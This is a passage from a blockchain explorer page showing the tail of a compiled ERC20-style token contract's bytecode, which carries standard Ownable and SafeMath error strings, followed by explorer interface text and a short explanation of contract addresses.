0565b92915050565b5f819050919050565b61203c8161202a565b8114612046575f5ffd5b50565b5f8135905061205781612033565b92915050565b5f5f6040838503121561207357612072611fcc565b5b5f61208085828601612016565b925050602061209185828601612049565b9150509250929050565b5f8115159050919050565b6120af8161209b565b82525050565b5f6020820190506120c85f8301846120a6565b92915050565b6120d78161202a565b82525050565b5f6020820190506120f05f8301846120ce565b92915050565b5f5f5f6060848603121561210d5761210c611fcc565b5b5f61211a86828701612016565b935050602061212b86828701612016565b925050604061213c86828701612049565b9150509250925092565b5f60ff82169050919050565b61215b81612146565b82525050565b5f6020820190506121745f830184612152565b92915050565b5f6020828403121561218f5761218e611fcc565b5b5f61219c84828501612016565b91505092915050565b6121ae81611fef565b82525050565b5f6020820190506121c75f8301846121a5565b92915050565b6121d68161209b565b81146121e0575f5ffd5b50565b5f813590506121f1816121cd565b92915050565b5f5f6040838503121561220d5761220c611fcc565b5b5f61221a85828601612016565b925050602061222b858286016121e3565b9150509250929050565b5f61223f82611fd0565b9050919050565b61224f81612235565b8114612259575f5ffd5b50565b5f8135905061226a81612246565b92915050565b5f6020828403121561228557612284611fcc565b5b5f6122928482850161225c565b91505092915050565b5f5f604083850312156122b1576122b0611fcc565b5b5f6122be85828601612016565b92505060206122cf85828601612016565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f5f8291508390505b600185111561235b57808604811115612337576123366122d9565b5b60018516156123465780820291505b808102905061235485612306565b945061231b565b94509492505050565b5f82612373576001905061242e565b81612380575f905061242e565b816001811461239657600281146123a0576123cf565b600191505061242e565b60ff8411156123b2576123b16122d9565b5b8360020a9150848211156123c9576123c86122d9565b5b5061242e565b5060208310610133831016604e8410600b84101617156124045782820a9050838111156123ff576123fe6122d9565b5b61242e565b6124118484846001612312565b92509050818404811115612428576124276122d9565b5b81810290505b9392505050565b5f61243f8261202a565b915061244a83612146565b92506124777fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612364565b905092915050565b5f6124898261202a565b91506124948361202a565b92508282026124a28161202a565b915082820484148315176124b9576124b86122d9565b5b5092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6124f4602083611f46565b91506124ff826124c0565b602082019050919050565b5f6020820190508181035f830152612521816124e8565b9050919050565b7f45524332303a206572726f7200000000000000000000000000000000000000005f82015250565b5f61255c600c83611f46565b915061256782612528565b602082019050919050565b5f6020820190508181035f83015261258981612550565b9050919050565b7f416c7265616479204c61756e63686564210000000000000000000000000000005f82015250565b5f6125c4601183611f46565b91506125cf82612590565b602082019050919050565b5f6020820190508181035f8301526125f1816125b8565b9050919050565b5f8151905061260681612000565b92915050565b5f6020828403121561262157612620611fcc565b5b5f61262e848285016125f8565b91505092915050565b5f60408201905061264a5f8301856121a5565b61265760208301846121a5565b9392505050565b5f819050919050565b5f819050919050565b5f61268a6126856126808461265e565b612667565b61202a565b9050919050565b61269a81612670565b82525050565b5f60c0820190506126b35f8301896121a5565b6126c060208301886120ce565b6126cd6040830187612691565b6126da6060830186612691565b6126e760808301856121a5565b6126f460a08301846120ce565b979650505050505050565b5f8151905061270d81612033565b92915050565b5f5f5f6060848603121561272a57612729611fcc565b5b5f612737868287016126ff565b9350506020612748868287016126ff565b9250506040612759868287016126ff565b9150509250925092565b5f6040820190506127765f8301856121a5565b61278360208301846120ce565b9392505050565b5f81519050612798816121cd565b92915050565b5f602082840312156127b3576127b2611fcc565b5b5f6127c08482850161278a565b91505092915050565b7f66696e64206661696c65640000000000000000000000000000000000000000005f82015250565b5f6127fd600b83611f46565b9150612808826127c9565b602082019050919050565b5f6020820190508181035f83015261282a816127f1565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f61288b602483611f46565b915061289682612831565b604082019050919050565b5f6020820190508181035f8301526128b88161287f565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f612919602283611f46565b9150612924826128bf565b604082019050919050565b5f6020820190508181035f8301526129468161290d565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f6129a7602583611f46565b91506129b28261294d565b604082019050919050565b5f6020820190508181035f8301526129d48161299b565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f612a35602383611f46565b9150612a40826129db565b604082019050919050565b5f6020820190508181035f830152612a6281612a29565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f612ac3602983611f46565b9150612ace82612a69565b604082019050919050565b5f6020820190508181035f830152612af081612ab7565b9050919050565b5f612b018261202a565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612b3357612b326122d9565b5b600182019050919050565b5f612b488261202a565b9150612b538361202a565b9250828203905081811115612b6b57612b6a6122d9565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f612ba88261202a565b9150612bb38361202a565b925082612bc357612bc2612b71565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f612c28602183611f46565b9150612c3382612bce565b604082019050919050565b5f6020820190508181035f830152612c5581612c1c565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b612ce881611fef565b82525050565b5f612cf98383612cdf565b60208301905092915050565b5f602082019050919050565b5f612d1b82612cb6565b612d258185612cc0565b9350612d3083612cd0565b805f5b83811015612d60578151612d478882612cee565b9750612d5283612d05565b925050600181019050612d33565b5085935050505092915050565b5f60a082019050612d805f8301886120ce565b612d8d6020830187612691565b8181036040830152612d9f8186612d11565b9050612dae60608301856121a5565b612dbb60808301846120ce565b9695505050505050565b5f612dcf8261202a565b9150612dda8361202a565b9250828201905080821115612df257612df16122d9565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f612e2c601b83611f46565b9150612e3782612df8565b602082019050919050565b5f6020820190508181035f830152612e5981612e20565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212202017c71d8dfaac3e1b167048fb3d70396d2ed454e3bb2fa69ad3c8490568b5b464736f6c634300081c0033

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.